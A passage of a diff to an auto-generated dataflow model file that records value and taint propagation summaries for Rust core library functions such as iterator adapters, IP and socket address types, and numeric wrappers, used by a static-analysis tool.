"ReturnValue.Field[crate::iter::adapters::flatten::FlatMap::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner]", "ReturnValue.Field[crate::iter::adapters::flatten::FlatMap::inner]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_parts", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Field[crate::iter::adapters::flatten::FlattenCompat::backiter]", "ReturnValue.Field[2]", "value", "dfc-generated"] - ["lang:core", "::into_parts", "Argument[self].Field[crate::iter::adapters::flatten::FlatMap::inner].Field[crate::iter::adapters::flatten::FlattenCompat::frontiter]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::Flatten::inner].Reference", "ReturnValue.Field[crate::iter::adapters::flatten::Flatten::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::iter::adapters::flatten::Flatten::inner]", "ReturnValue.Field[crate::iter::adapters::flatten::Flatten::inner]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::flatten::FlattenCompat::frontiter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::flatten::FlattenCompat::backiter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::fuse::Fuse::iter].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -466,13 +816,13 @@ extensions: - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::inspect::Inspect::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::inspect::Inspect::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::inspect::Inspect::f]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::intersperse::Intersperse::separator].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::intersperse::Intersperse::separator]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::intersperse::Intersperse::separator]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -508,14 +858,14 @@ extensions: - ["lang:core", "::fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::last", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::peeked].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::peekable::Peekable::iter]", "value", "dfc-generated"] + - ["lang:core", "::next_if", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:core", "::next_if", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_if_eq", "Argument[self].Field[crate::iter::adapters::peekable::Peekable::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::peek", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::peek_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -567,13 +917,25 @@ extensions: - ["lang:core", "::spec_size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::spec_try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[self].Field[crate::iter::adapters::step_by::StepBy::iter].Element", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::spec_fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[1].ReturnValue", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::spec_fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth_back", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::take::Take::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::take::Take::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -599,32 +961,39 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::zip::Zip::a]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::zip::Zip::b]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::once_with::OnceWith::make].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::once_with::OnceWith::make].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::iter::sources::repeat::Repeat::element]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[crate::iter::sources::repeat_n::RepeatN::count]", "value", "dfc-generated"] + - ["lang:core", "::advance_back_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::advance_back_by", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::nth_back", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::len", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::advance_by", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::count", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::iter::sources::repeat_n::RepeatN::count]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::try_fold", "Argument[self]", "Argument[1]", "taint", "df-generated"] - - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] @@ -635,6 +1004,7 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::mem::manually_drop::ManuallyDrop::value]", "value", "dfc-generated"] - ["lang:core", "::take", "Argument[0].Field[crate::mem::manually_drop::ManuallyDrop::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_mut_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::IpAddr::V4(0)].Field[crate::net::ip_addr::Ipv4Addr::octets]", "value", "dfc-generated"] @@ -643,6 +1013,7 @@ extensions: - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::IpAddr::V6(0)]", "value", "dfc-generated"] - ["lang:core", "::to_canonical", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::Ipv4Addr::octets]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -656,6 +1027,7 @@ extensions: - ["lang:core", "::to_ipv6_compatible", "Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets].Element", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element", "value", "dfc-generated"] - ["lang:core", "::to_ipv6_mapped", "Argument[self].Field[crate::net::ip_addr::Ipv4Addr::octets].Element", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets].Element", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::net::ip_addr::Ipv6Addr::octets]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -672,12 +1044,14 @@ extensions: - ["lang:core", "::new", "Argument[0].Field[crate::net::ip_addr::IpAddr::V6(0)]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::ip]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V4(0)].Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddr::V6(0)].Field[crate::net::socket_addr::SocketAddrV6::port]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::ip", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::ip]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] - ["lang:core", "::port", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::set_ip", "Argument[0]", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::ip]", "value", "dfc-generated"] - ["lang:core", "::set_port", "Argument[0]", "Argument[self].Field[crate::net::socket_addr::SocketAddrV4::port]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::flowinfo", "Argument[self].Field[crate::net::socket_addr::SocketAddrV6::flowinfo]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::ip", "Argument[self].Field[crate::net::socket_addr::SocketAddrV6::ip]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::net::socket_addr::SocketAddrV6::ip]", "value", "dfc-generated"] @@ -738,15 +1112,18 @@ extensions: - ["lang:core", "::sub", "Argument[0].Field[crate::num::bignum::tests::Big8x3::size]", "ReturnValue.Field[crate::num::bignum::tests::Big8x3::size]", "value", "dfc-generated"] - ["lang:core", "::sub", "Argument[self].Field[crate::num::bignum::tests::Big8x3::size]", "ReturnValue.Field[crate::num::bignum::tests::Big8x3::size]", "value", "dfc-generated"] - ["lang:core", "::sub", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::zero_pow2", "Argument[0]", "ReturnValue.Field[crate::num::dec2flt::common::BiasedFp::e]", "value", "dfc-generated"] - - ["lang:core", "::right_shift", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:core", "::try_add_digit", "Argument[0]", "Argument[self].Field[crate::num::dec2flt::decimal::Decimal::digits].Element", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::zero_pow2", "Argument[0]", "ReturnValue.Field[crate::num::dec2flt::common::BiasedFp::p_biased]", "value", "dfc-generated"] + - ["lang:core", "::right_shift", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::try_add_digit", "Argument[0]", "Argument[self].Field[crate::num::dec2flt::decimal_seq::DecimalSeq::digits].Element", "value", "dfc-generated"] - ["lang:core", "::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::normalize", "Argument[self].Field[crate::num::diy_float::Fp::e]", "ReturnValue.Field[crate::num::diy_float::Fp::e]", "value", "dfc-generated"] - ["lang:core", "::normalize", "Argument[self].Field[crate::num::diy_float::Fp::f]", "ReturnValue.Field[crate::num::diy_float::Fp::f]", "value", "dfc-generated"] - ["lang:core", "::normalize_to", "Argument[0]", "ReturnValue.Field[crate::num::diy_float::Fp::e]", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::kind", "Argument[self].Field[crate::num::error::ParseIntError::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::len", "Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::write", "Argument[self].Reference.Field[crate::num::fmt::Part::Zero(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::num::niche_types::I32NotAllOnes(0)]", "value", "dfc-generated"] @@ -792,6 +1169,8 @@ extensions: - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::div_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::mul_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rem_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -804,10 +1183,16 @@ extensions: - ["lang:core", "::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitxor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::abs", "Argument[self].Field[0]", "ReturnValue.Field[crate::num::saturating::Saturating(0)]", "value", "dfc-generated"] + - ["lang:core", "::abs", "Argument[self].Field[crate::num::saturating::Saturating(0)]", "ReturnValue.Field[crate::num::saturating::Saturating(0)]", "value", "dfc-generated"] - ["lang:core", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::div_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::mul_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::rem_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -822,6 +1207,8 @@ extensions: - ["lang:core", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::shl_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:core", "::shr_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:core", "::abs", "Argument[self].Field[0]", "ReturnValue.Field[crate::num::wrapping::Wrapping(0)]", "value", "dfc-generated"] + - ["lang:core", "::abs", "Argument[self].Field[crate::num::wrapping::Wrapping(0)]", "ReturnValue.Field[crate::num::wrapping::Wrapping(0)]", "value", "dfc-generated"] - ["lang:core", "::from_residual", "Argument[0].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)].Field[crate::ops::control_flow::ControlFlow::Break(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] @@ -853,7 +1240,8 @@ extensions: - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::ops::range::Bound::Excluded(0)]", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::ops::range::Bound::Included(0)]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::cloned", "Argument[self].Field[crate::ops::range::Bound::Excluded(0)].Reference", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] + - ["lang:core", "::cloned", "Argument[self].Field[crate::ops::range::Bound::Included(0)].Reference", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::map", "Argument[self].Field[crate::ops::range::Bound::Excluded(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] @@ -863,14 +1251,22 @@ extensions: - ["lang:core", "::setup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_nth", 